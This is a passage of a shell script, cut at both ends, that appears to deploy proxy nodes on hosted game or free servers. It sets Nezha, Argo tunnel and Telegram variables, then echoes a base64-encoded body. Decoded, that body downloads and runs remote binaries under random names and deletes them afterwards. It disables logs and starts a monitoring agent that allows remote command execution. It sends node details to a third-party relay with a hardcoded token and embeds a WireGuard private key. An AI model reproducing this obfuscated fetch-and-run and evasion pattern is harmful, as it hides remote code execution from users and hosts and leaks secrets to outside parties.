v1哪吒不要填写这个,v0哪吒agent端口为{443,8443,2053,2083,2087,2096}其中之一时自动开启tls 5 | export NEZHA_KEY=${NEZHA_KEY:-''} # v1的NZ_CLIENT_SECRET或v0的agent密钥 6 | export ARGO_DOMAIN=${ARGO_DOMAIN:-''} # 固定隧道域名,留空即启用临时隧道 7 | export ARGO_AUTH=${ARGO_AUTH:-''} # 固定隧道token或json,留空即启用临时隧道 8 | export CFIP=${CFIP:-'www.visa.com.tw'} # argo节点优选域名或优选ip 9 | export CFPORT=${CFPORT:-'443'} # argo节点端口 10 | export NAME=${NAME:-'MC'} # 节点名称 11 | export FILE_PATH=${FILE_PATH:-'./data'} # sub 路径 12 | export ARGO_PORT=${ARGO_PORT:-'8001'} # argo端口 使用固定隧道token,cloudflare后台设置的端口需和这里对应 13 | export TUIC_PORT=${TUIC_PORT:-'40000'} # Tuic 端口,支持多端口玩具可填写,否则不动 14 | export HY2_PORT=${HY2_PORT:-'50000'} # Hy2 端口,支持多端口玩具可填写,否则不动 15 | export REALITY_PORT=${REALITY_PORT:-'60000'} # reality 端口,支持多端口玩具可填写,否则不动 16 | export GAME_FILE=${GAME_FILE:-'LICENSE'} # 填写游戏文件名,不填写不启动游戏,无法运行 17 | export CHAT_ID=${CHAT_ID:-''} # TG chat_id,可在https://t.me/laowang_serv00_bot 获取 18 | export BOT_TOKEN=${BOT_TOKEN:-''} # TG bot_token, 使用自己的bot需要填写,使用上方的bot不用填写,不会给别人发送 19 | export UPLOAD_URL=${UPLOAD_URL:-''} # 订阅自动上传地址,没有可不填,需要填部署Merge-sub项目后的首页地址,例如:https://merge.serv00.net 20 | 21 | echo "ZGVsZXRlX29sZF9ub2RlcygpIHsKICBbWyAteiAkVVBMT0FEX1VSTCB8fCAhIC1mICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgXV0gJiYgcmV0dXJuCiAgb2xkX25vZGVzPSQoYmFzZTY0IC1kICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgfCBncmVwIC1FICcodmxlc3N8dm1lc3N8dHJvamFufGh5c3RlcmlhMnx0dWljKTovLycpCiAgW1sgLXogJG9sZF9ub2RlcyBdXSAmJiByZXR1cm4KCiAganNvbl9kYXRhPSd7Im5vZGVzIjogWycKICBmb3Igbm9kZSBpbiAkb2xkX25vZGVzOyBkbwogICAgICBqc29uX2RhdGErPSJcIiRub2RlXCIsIgogIGRvbmUKICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0gIAogIGpzb25fZGF0YSs9J119JwoKICBjdXJsIC1YIERFTEVURSAiJFVQTE9BRF9VUkwvYXBpL2RlbGV0ZS1ub2RlcyIgXAogICAgICAgIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIFwKICAgICAgICAtZCAiJGpzb25fZGF0YSIgPiAvZGV2L251bGwgMj4mMQp9CmRlbGV0ZV9vbGRfbm9kZXMKClsgISAtZCAiJHtGSUxFX1BBVEh9IiBdICYmIG1rZGlyIC1wICIke0ZJTEVfUEFUSH0iICYmIHJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiB0dW5uZWwuanNvbiB0dW5uZWwueW1sICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgPi9kZXYvbnVsbCAyPiYxCgoKYXJnb19jb25maWd1cmUoKSB7CiAgaWYgW1sgLXogJEFSR09fQVVUSCB8fCAteiAkQVJHT19ET01BSU4gXV07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzE7MzJtQVJHT19ET01BSU4gb3IgQVJHT19BVVRIIHZhcmlhYmxlIGlzIGVtcHR5LCB1c2UgcXVpY2sgdHVubmVsc1xlWzBtIiAgIAogICAgcmV0dXJuCiAgZmkKCiAgaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgIGVjaG8gJEFSR09fQVVUSCA+IHR1bm5lbC5qc29uCiAgICBjYXQgPiB0dW5uZWwueW1sIDw8IEVPRgp0dW5uZWw6ICQoY3V0IC1kXCIgLWYxMiA8PDwgIiRBUkdPX0FVVEgiKQpjcmVkZW50aWFscy1maWxlOiB0dW5uZWwuanNvbgpwcm90b2NvbDogaHR0cDIKCmluZ3Jlc3M6CiAgLSBob3N0bmFtZTogJEFSR09fRE9NQUlOCiAgICBzZXJ2aWNlOiBodHRwOi8vbG9jYWxob3N0OiRBUkdPX1BPUlQKICAgIG9yaWdpblJlcXVlc3Q6CiAgICAgIG5vVExTVmVyaWZ5OiB0cnVlCiAgLSBzZXJ2aWNlOiBodHRwX3N0YXR1czo0MDQKRU9GCiAgZWxzZQogICAgZWNobyAtZSAiXGVbMTszMm1BUkdPX0FVVEggbWlzbWF0Y2ggVHVubmVsU2VjcmV0LHVzZSB0b2tlbiBjb25uZWN0IHRvIHR1bm5lbFxlWzBtIgogIGZpCn0KYXJnb19jb25maWd1cmUKd2FpdAoKZG93bmxvYWRfYW5kX3J1bigpIHsKQVJDSD0kKHVuYW1lIC1tKSAmJiBET1dOTE9BRF9ESVI9Ii4iICYmIG1rZGlyIC1wICIkRE9XTkxPQURfRElSIiAmJiBGSUxFX0lORk89KCkKaWYgWyAiJEFSQ0giID09ICJhcm0iIF0gfHwgWyAiJEFSQ0giID09ICJhcm02NCIgXSB8fCBbICIkQVJDSCIgPT0gImFhcmNoNjQiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FybTY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiYW1kNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODZfNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODYiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FtZDY0LnNzc3MubnljLm1uIgplbHNlCiAgICBlY2hvICJVbnN1cHBvcnRlZCBhcmNoaXRlY3R1cmU6ICRBUkNIIgogICAgZXhpdCAxCmZpCkZJTEVfSU5GTz0oIiRCQVNFX1VSTC9zYiB3ZWIiICIkQkFTRV9VUkwvYm90IGJvdCIpCgppZiBbIC1uICIkTkVaSEFfUE9SVCIgXTsgdGhlbgogICAgRklMRV9JTkZPKz0oIiRCQVNFX1VSTC9hZ2VudCBucG0iKQplbHNlCiAgICBGSUxFX0lORk8rPSgiJEJBU0VfVVJML3YxIHBocCIpCiAgICBORVpIQV9UTFM9JChjYXNlICIke05FWkhBX1NFUlZFUiMjKjp9IiBpbiA0NDN8ODQ0M3wyMDk2fDIwODd8MjA4M3wyMDUzKSBlY2hvIC1uIHRydWU7OyAqKSBlY2hvIC1uIGZhbHNlOzsgZXNhYykKICAgIGNhdCA+ICIke0ZJTEVfUEFUSH0vY29uZmlnLnlhbWwiIDw8IEVPRgpjbGllbnRfc2VjcmV0OiAke05FWkhBX0tFWX0KZGVidWc6IGZhbHNlCmRpc2FibGVfYXV0b191cGRhdGU6IHRydWUKZGlzYWJsZV9jb21tYW5kX2V4ZWN1dGU6IGZhbHNlCmRpc2FibGVfZm9yY2VfdXBkYXRlOiB0cnVlCmRpc2FibGVfbmF0OiBmYWxzZQpkaXNhYmxlX3NlbmRfcXVlcnk6IGZhbHNlCmdwdTogZmFsc2UKaW5zZWN1cmVfdGxzOiBmYWxzZQppcF9yZXBvcnRfcGVyaW9kOiAxODAwCnJlcG9ydF9kZWxheTogMQpzZXJ2ZXI6ICR7TkVaSEFfU0VSVkVSfQpza2lwX2Nvbm5lY3Rpb25fY291bnQ6IGZhbHNlCnNraXBfcHJvY3NfY291bnQ6IGZhbHNlCnRlbXBlcmF0dXJlOiBmYWxzZQp0bHM6ICR7TkVaSEFfVExTfQp1c2VfZ2l0ZWVfdG9fdXBncmFkZTogZmFsc2UKdXNlX2lwdjZfY291bnRyeV9jb2RlOiBmYWxzZQp1dWlkOiAke1VVSUR9CkVPRgpmaQpkZWNsYXJlIC1BIEZJTEVfTUFQCmdlbmVyYXRlX3JhbmRvbV9uYW1lKCkgewogICAgbG9jYWwgY2hhcnM9YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY3ODkwCiAgICBsb2NhbCBuYW1lPSIiCiAgICBmb3IgaSBpbiB7MS4uNn07IGRvCiAgICAgICAgbmFtZT0iJG5hbWUke2NoYXJzOlJBTkRPTSUkeyNjaGFyc306MX0iCiAgICBkb25lCiAgICBlY2hvICIkbmFtZSIKfQpkb3dubG9hZF9maWxlKCkgewogICAgbG9jYWwgVVJMPSQxCiAgICBsb2NhbCBORVdfRklMRU5BTUU9JDIKCiAgICBpZiBjb21tYW5kIC12IGN1cmwgPi9kZXYvbnVsbCAyPiYxOyB0aGVuCiAgICAgICAgY3VybCAtTCAtc1MgLW8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IGN1cmxcZVswbSIKICAgIGVsaWYgY29tbWFuZCAtdiB3Z2V0ID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgIHdnZXQgLXEgLU8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IHdnZXRcZVswbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcZVsxOzMzbU5laXRoZXIgY3VybCBub3Igd2dldCBpcyBhdmFpbGFibGUgZm9yIGRvd25sb2FkaW5nXGVbMG0iCiAgICAgICAgZXhpdCAxCiAgICBmaQp9CmZvciBlbnRyeSBpbiAiJHtGSUxFX0lORk9bQF19IjsgZG8KICAgIFVSTD0kKGVjaG8gIiRlbnRyeSIgfCBjdXQgLWQgJyAnIC1mIDEpCiAgICBSQU5ET01fTkFNRT0kKGdlbmVyYXRlX3JhbmRvbV9uYW1lKQogICAgTkVXX0ZJTEVOQU1FPSIkRE9XTkxPQURfRElSLyRSQU5ET01fTkFNRSIKICAgIAogICAgZG93bmxvYWRfZmlsZSAiJFVSTCIgIiRORVdfRklMRU5BTUUiCiAgICAKICAgIGNobW9kICt4ICIkTkVXX0ZJTEVOQU1FIgogICAgRklMRV9NQVBbJChlY2hvICIkZW50cnkiIHwgY3V0IC1kICcgJyAtZiAyKV09IiRORVdfRklMRU5BTUUiCmRvbmUKd2FpdAoKb3V0cHV0PSQoLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSIgZ2VuZXJhdGUgcmVhbGl0eS1rZXlwYWlyKQpwcml2YXRlX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9Qcml2YXRlS2V5Oi8ge3ByaW50ICQyfScpCnB1YmxpY19rZXk9JChlY2hvICIke291dHB1dH0iIHwgYXdrICcvUHVibGljS2V5Oi8ge3ByaW50ICQyfScpCgpvcGVuc3NsIGVjcGFyYW0gLWdlbmtleSAtbmFtZSBwcmltZTI1NnYxIC1vdXQgInByaXZhdGUua2V5IgpvcGVuc3NsIHJlcSAtbmV3IC14NTA5IC1kYXlzIDM2NTAgLWtleSAicHJpdmF0ZS5rZXkiIC1vdXQgImNlcnQucGVtIiAtc3ViaiAiL0NOPWJpbmcuY29tIgoKICBjYXQgPiBjb25maWcuanNvbiA8PCBFT0YKewogICAgImxvZyI6IHsKICAgICAgICAiZGlzYWJsZWQiOiB0cnVlLAogICAgICAgICJsZXZlbCI6ICJlcnJvciIsCiAgICAgICAgInRpbWVzdGFtcCI6IHRydWUKICAgIH0sCiAgICAiZG5zIjogewogICAgICAgICJzZXJ2ZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJ0YWciOiAiZ29vZ2xlIiwKICAgICAgICAgICJhZGRyZXNzIjogInRsczovLzguOC44LjgiCiAgICAgICAgfQogICAgICBdCiAgICB9LAogICAgImluYm91bmRzIjogWwogICAgewogICAgICAidGFnIjogInZtZXNzLXdzLWluIiwKICAgICAgInR5cGUiOiAidm1lc3MiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtBUkdPX1BPUlR9LAogICAgICAgICJ1c2VycyI6IFsKICAgICAgICB7CiAgICAgICAgICAidXVpZCI6ICIke1VVSUR9IgogICAgICAgIH0KICAgICAgXSwKICAgICAgInRyYW5zcG9ydCI6IHsKICAgICAgICAidHlwZSI6ICJ3cyIsCiAgICAgICAgInBhdGgiOiAiL3ZtZXNzLWFyZ28iLAogICAgICAgICJlYXJseV9kYXRhX2hlYWRlcl9uYW1lIjogIlNlYy1XZWJTb2NrZXQtUHJvdG9jb2wiCiAgICAgIH0KICAgIH0sCiAgICB7CiAgICAgICJ0YWciOiAidHVpYy1pbiIsCiAgICAgICJ0eXBlIjogInR1aWMiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtUVUlDX1BPUlR9LAogICAgICAidXNlcnMiOiBbCiAgICAgICAgewogICAgICAgICAgInV1aWQiOiAiJHtVVUlEfSIsCiAgICAgICAgICAicGFzc3dvcmQiOiAiYWRtaW4iCiAgICAgICAgfQogICAgICBdLAogICAgICAiY29uZ2VzdGlvbl9jb250cm9sIjogImJiciIsCiAgICAgICJ0bHMiOiB7CiAgICAgICAgImVuYWJsZWQiOiB0cnVlLAogICAgICAgICJhbHBuIjogWwogICAgICAgICAgImgzIgogICAgICAgIF0sCiAgICAgICAgImNlcnRpZmljYXRlX3BhdGgiOiAiY2VydC5wZW0iLAogICAgICAgICJrZXlfcGF0aCI6ICJwcml2YXRlLmtleSIKICAgICAgfQogICAgfSwKICAgIHsKICAgICAgInRhZyI6ICJoeXN0ZXJpYTItaW4iLAogICAgICAidHlwZSI6ICJoeXN0ZXJpYTIiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtIWTJfUE9SVH0sCiAgICAgICAgInVzZXJzIjogWwogICAgICAgICAgewogICAgICAgICAgICAgInBhc3N3b3JkIjogIiR7VVVJRH0iCiAgICAgICAgICB9CiAgICAgIF0sCiAgICAgICJtYXNxdWVyYWRlIjogImh0dHBzOi8vYmluZy5jb20iLAogICAgICAgICJ0bHMiOiB7CiAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgImFscG4iOiBbCiAgICAgICAgICAgICAgICAiaDMiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJjZXJ0aWZpY2F0ZV9wYXRoIjogImNlcnQucGVtIiwKICAgICAgICAgICAgImtleV9wYXRoIjogInByaXZhdGUua2V5IgogICAgICAgICAgfQogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJ2bGVzcy1yZWFsaXR5LXZlc2lvbiIsCiAgICAgICAgInR5cGUiOiAidmxlc3MiLAogICAgICAgICJsaXN0ZW4iOiAiOjoiLAogICAgICAgICJsaXN0ZW5fcG9ydCI6ICRSRUFMSVRZX1BPUlQsCiAgICAgICAgICAidXNlcnMiOiBbCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgInV1aWQiOiAiJFVVSUQiLAogICAgICAgICAgICAgICAgImZsb3ciOiAieHRscy1ycHJ4LXZpc2lvbiIKICAgICAgICAgICAgICB9CiAgICAgICAgICBdLAogICAgICAgICAgInRscyI6IHsKICAgICAgICAgICAgICAiZW5hYmxlZCI6IHRydWUsCiAgICAgICAgICAgICAgInNlcnZlcl9uYW1lIjogInd3dy5uYXpodW1pLmNvbSIsCiAgICAgICAgICAgICAgInJlYWxpdHkiOiB7CiAgICAgICAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgImhhbmRzaGFrZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXIiOiAid3d3Lm5hemh1bWkuY29tIiwKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXJfcG9ydCI6IDQ0MwogICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAicHJpdmF0ZV9rZXkiOiAiJHByaXZhdGVfa2V5IiwKICAgICAgICAgICAgICAgICAgInNob3J0X2lkIjogWwogICAgICAgICAgICAgICAgICAgICIiCiAgICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgIH0KICAgXSwKICAib3V0Ym91bmRzIjogWwogICAgewogICAgICAidHlwZSI6ICJkaXJlY3QiLAogICAgICAidGFnIjogImRpcmVjdCIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogImJsb2NrIiwKICAgICAgInRhZyI6ICJibG9jayIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogIndpcmVndWFyZCIsCiAgICAgICJ0YWciOiAid2lyZWd1YXJkLW91dCIsCiAgICAgICJzZXJ2ZXIiOiAiMTYyLjE1OS4xOTIuMjAwIiwKICAgICAgInNlcnZlcl9wb3J0IjogNDUwMCwKICAgICAgImxvY2FsX2FkZHJlc3MiOiBbCiAgICAgICAgIjE3Mi4xNi4wLjIvMzIiLAogICAgICAgICIyNjA2OjQ3MDA6MTEwOjhmNzc6MWNhOTpmMDg2Ojg0NmM6NWY5ZS8xMjgiCiAgICAgIF0sCiAgICAgICJwcml2YXRlX2tleSI6ICJ3SXhzemRSMm5NZEE3YTJVbDNYUWNuaVNmU1pxZHFqUGI2dzZvcHZmNUFVPSIsCiAgICAgICJwZWVyX3B1YmxpY19rZXkiOiAiYm1YT0MrRjFGeEVNRjlkeWlLMkg1LzFTVXR6SDBKdVZvNTFoMndQZmd5bz0iLAogICAgICAicmVzZXJ2ZWQiOiBbMTI2LCAyNDYsIDE3M10KICAgIH0KICBdLAogICJyb3V0ZSI6IHsKICAgICJydWxlX3NldCI6IFsKICAgICAgewogICAgICAgICJ0YWciOiAibmV0ZmxpeCIsCiAgICAgICAgInR5cGUiOiAicmVtb3RlIiwKICAgICAgICAiZm9ybWF0IjogImJpbmFyeSIsCiAgICAgICAgInVybCI6ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTWV0YUN1YmVYL21ldGEtcnVsZXMtZGF0L3NpbmcvZ2VvL2dlb3NpdGUvbmV0ZmxpeC5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJvcGVuYWkiLAogICAgICAgICJ0eXBlIjogInJlbW90ZSIsCiAgICAgICAgImZvcm1hdCI6ICJiaW5hcnkiLAogICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01ldGFDdWJlWC9tZXRhLXJ1bGVzLWRhdC9zaW5nL2dlby9nZW9zaXRlL29wZW5haS5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9CiAgICBdLAogICAgInJ1bGVzIjogWwogICAgICB7CiAgICAgICAgInJ1bGVfc2V0IjogWyJuZXRmbGl4IiwgIm9wZW5haSJdLAogICAgICAgICJvdXRib3VuZCI6ICJ3aXJlZ3VhcmQtb3V0IgogICAgICB9CiAgICBdLAogICAgImZpbmFsIjogImRpcmVjdCIKICB9Cn0KRU9GCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBdOyB0aGVuCiAgICBub2h1cCAuLyIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBydW4gLWMgY29uZmlnLmpzb24gPi9kZXYvbnVsbCAyPiYxICYKICAgIHNsZWVwIDIKICAgIGVjaG8gLWUgIlxlWzE7MzJtJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSBpcyBydW5uaW5nXGVbMG0iCmZpCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbYm90XX0pIiBdOyB0aGVuCiAgICBpZiBbWyAkQVJHT19BVVRIID1+IF5bQS1aMC05YS16PV17MTIwLDI1MH0kIF1dOyB0aGVuCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIHJ1biAtLXRva2VuICR7QVJHT19BVVRIfSIKICAgIGVsaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1jb25maWcgdHVubmVsLnltbCBydW4iCiAgICBlbHNlCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIC0tbG9nZmlsZSBib290LmxvZyAtLWxvZ2xldmVsIGluZm8gLS11cmwgaHR0cDovL2xvY2FsaG9zdDokQVJHT19QT1JUIgogICAgZmkKICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkiICRhcmdzID4vZGV2L251bGwgMj4mMSAmCiAgICBzbGVlcCAyCiAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkgaXMgcnVubmluZ1xlWzBtIiAKZmkKCmlmIFsgLW4gIiRORVpIQV9TRVJWRVIiIF0gJiYgWyAtbiAiJE5FWkhBX1BPUlQiIF0gJiYgWyAtbiAiJE5FWkhBX0tFWSIgXTsgdGhlbgogICAgaWYgWyAtZSAiJChiYXNlbmFtZSAke0ZJTEVfTUFQW25wbV19KSIgXTsgdGhlbgoJICB0bHNQb3J0cz0oIjQ0MyIgIjg0NDMiICIyMDk2IiAiMjA4NyIgIjIwODMiICIyMDUzIikKICAgICAgW1sgIiR7dGxzUG9ydHNbKl19IiA9fiAiJHtORVpIQV9QT1JUfSIgXV0gJiYgTkVaSEFfVExTPSItLXRscyIgfHwgTkVaSEFfVExTPSIiCiAgICAgIGV4cG9ydCBUTVBESVI9JChwd2QpCiAgICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkiIC1zICR7TkVaSEFfU0VSVkVSfToke05FWkhBX1BPUlR9IC1wICR7TkVaSEFfS0VZfSAke05FWkhBX1RMU30gPi9kZXYvbnVsbCAyPiYxICYKICAgICAgc2xlZXAgMgogICAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkgaXMgcnVubmluZ1xlWzBtIgogICAgZmkKZWxpZiBbIC1uICIkTkVaSEFfU0VSVkVSIiBdICYmIFsgLW4gIiRORVpIQV9LRVkiIF07IHRoZW4KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtwaHBdfSkiIF07IHRoZW4KICAgICAgbm9odXAgLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3BocF19KSIgLWMgIiR7RklMRV9QQVRIfS9jb25maWcueWFtbCIgPi9kZXYvbnVsbCAyPiYxICYKICAgICAgZWNobyAtZSAiXGVbMTszMm0kKGJhc2VuYW1lICR7RklMRV9NQVBbcGhwXX0pIGlzIHJ1bm5pbmdcZVswbSIKICAgIGZpCmVsc2UKICAgIGVjaG8gLWUgIlxlWzE7MzVtTkVaSEEgdmFyaWFibGUgaXMgZW1wdHksIHNraXBwaW5nIHJ1bm5pbmdcZVswbSIKZmkKZm9yIGtleSBpbiAiJHshRklMRV9NQVBbQF19IjsgZG8KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFska2V5XX0pIiBdOyB0aGVuCiAgICAgICAgcm0gLXJmICIkKGJhc2VuYW1lICR7RklMRV9NQVBbJGtleV19KSIgPi9kZXYvbnVsbCAyPiYxCiAgICBmaQpkb25lCn0KZG93bmxvYWRfYW5kX3J1bgoKZ2V0X2FyZ29kb21haW4oKSB7CiAgaWYgW1sgLW4gJEFSR09fQVVUSCBdXTsgdGhlbgogICAgZWNobyAiJEFSR09fRE9NQUlOIgogIGVsc2UKICAgIGxvY2FsIHJldHJ5PTAKICAgIGxvY2FsIG1heF9yZXRyaWVzPTYKICAgIGxvY2FsIGFyZ29kb21haW49IiIKICAgIHdoaWxlIFtbICRyZXRyeSAtbHQgJG1heF9yZXRyaWVzIF1dOyBkbwogICAgICAoKHJldHJ5KyspKQogICAgICBhcmdvZG9tYWluPSQoc2VkIC1uICdzfC4qaHR0cHM6Ly9cKFteL10qdHJ5Y2xvdWRmbGFyZVwuY29tXCkuKnxcMXxwJyBib290LmxvZykKICAgICAgaWYgW1sgLW4gJGFyZ29kb21haW4gXV07IHRoZW4KICAgICAgICBicmVhawogICAgICBmaQogICAgICBzbGVlcCAxCiAgICBkb25lCiAgICBlY2hvICIkYXJnb2RvbWFpbiIKICBmaQp9CgpzZW5kX3RlbGVncmFtKCkgewogIFsgLWYgIiR7RklMRV9QQVRIfS9zdWIudHh0IiBdIHx8IHJldHVybgogIE1FU1NBR0U9JChjYXQgIiR7RklMRV9QQVRIfS9zdWIudHh0IikKICBMT0NBTF9NRVNTQUdFPSIqJHtOQU1FfeiKgueCueaOqOmAgemAmuefpSpcYFxgXGAke01FU1NBR0V9XGBcYFxgIgogIEJPVF9NRVNTQUdFPSI8Yj4ke05BTUV96IqC54K55o6o6YCB6YCa55+lPC9iPlxuPHByZT4ke01FU1NBR0V9PC9wcmU+IgogIGlmIFsgLW4gIiR7Qk9UX1RPS0VOfSIgXSAmJiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3Qke0JPVF9UT0tFTn0vc2VuZE1lc3NhZ2UiIFwKICAgICAgLWQgImNoYXRfaWQ9JHtDSEFUX0lEfSZ0ZXh0PSR7TE9DQUxfTUVTU0FHRX0mcGFyc2VfbW9kZT1NYXJrZG93biIgPiAvZGV2L251bGwKCiAgZWxpZiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHA6Ly9hcGkudGcuZ3ZyYW5kZXIuZXUub3JnL2FwaS9ub3RpZnkiIFwKICAgICAgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciBlSldSZ3hDNExjem5LTGlVaURvVXN3QG5NZ0RCQ0NTVWs2SXcwUzlQYnMiIFwKICAgICAgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgXAogICAgICAtZCAiJChwcmludGYgJ3siY2hhdF9pZCI6ICIlcyIsICJtZXNzYWdlIjogIiVzIn0nICIke0NIQVRfSUR9IiAiJHtCT1RfTUVTU0FHRX0iKSIgPiAvZGV2L251bGwKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzVtVEcgdmFyaWFibGUgaXMgZW1wdHksc2tpcHBpbmcgc2VudFxlWzBtIgogICAgcmV0dXJuCiAgZmkKCiAgaWYgWyAkPyAtZXEgMCBdOyB0aGVuCiAgICBlY2hvIC1lICJcblxlWzE7MzJtTm9kZXMgc2VudCB0byBURyBzdWNjZXNzZnVsbHlcZVswbSIKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzFtRmFpbGVkIHRvIHNlbmQgbm9kZXMgdG8gVEdcZVswbSIKICBmaQp9Cgp1cGxvZF9ub2RlcygpIHsKICAgIFtbIC16ICRVUExPQURfVVJMIHx8ICEgLWYgIiR7RklMRV9QQVRIfS9saXN0LnR4dCIgXV0gJiYgcmV0dXJuCiAgICBjb250ZW50PSQoY2F0ICR7RklMRV9QQVRIfS9saXN0LnR4dCkKICAgIG5vZGVzPSQoZWNobyAiJGNvbnRlbnQiIHwgZ3JlcCAtRSAnKHZsZXNzfHZtZXNzfHRyb2phbnxoeXN0ZXJpYTJ8dHVpYyk6Ly8nKQogICAgW1sgLXogJG5vZGVzIF1dICYmIHJldHVybgogICAgbm9kZXM9KCRub2RlcykKICAgIGpzb25fZGF0YT0neyJub2RlcyI6IFsnCiAgICBmb3Igbm9kZSBpbiAiJHtub2Rlc1tAXX0iOyBkbwogICAgICAgIGpzb25fZGF0YSs9IlwiJG5vZGVcIiwiCiAgICBkb25lCiAgICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0KICAgIGpzb25fZGF0YSs9J119JwoKICAgIGN1cmwgLVggUE9TVCAiJFVQTE9BRF9VUkwvYXBpL2FkZC1ub2RlcyIgXAogICAgICAgICAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiBcCiAgICAgICAgIC1kICIkanNvbl9kYXRhIiA+IC9kZXYvbnVsbCAyPiYxCgogICAgaWYgW1sgJD8gLWVxIDAgXV07IHRoZW4KICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzJtTm9kZXMgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5XDAzM1swbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzFtRmFpbGVkIHRvIHVwbG9hZCBub2Rlc1wwMzNbMG0iCiAgICBmaQp9CgphcmdvZG9tYWluPSQoZ2V0X2FyZ29kb21haW4pCmVjaG8gLWUgIlxlWzE7MzJtQXJnb0RvbWFpbjpcZVsxOzM1bSR7YXJnb2RvbWFpbn1cZVswbVxuIgpzbGVlcCAxCklQPSQoY3VybCAtcyAtLW1heC10aW1lIDIgaXB2NC5pcC5zYiB8fCBjdXJsIC1zIC0tbWF4LXRpbWUgMSBhcGkuaXBpZnkub3JnIHx8IHsgaXB2Nj0kKGN1cmwgLXMgLS1tYXgtdGltZSAxIGlwdjYuaXAuc2IpOyBlY2hvICJb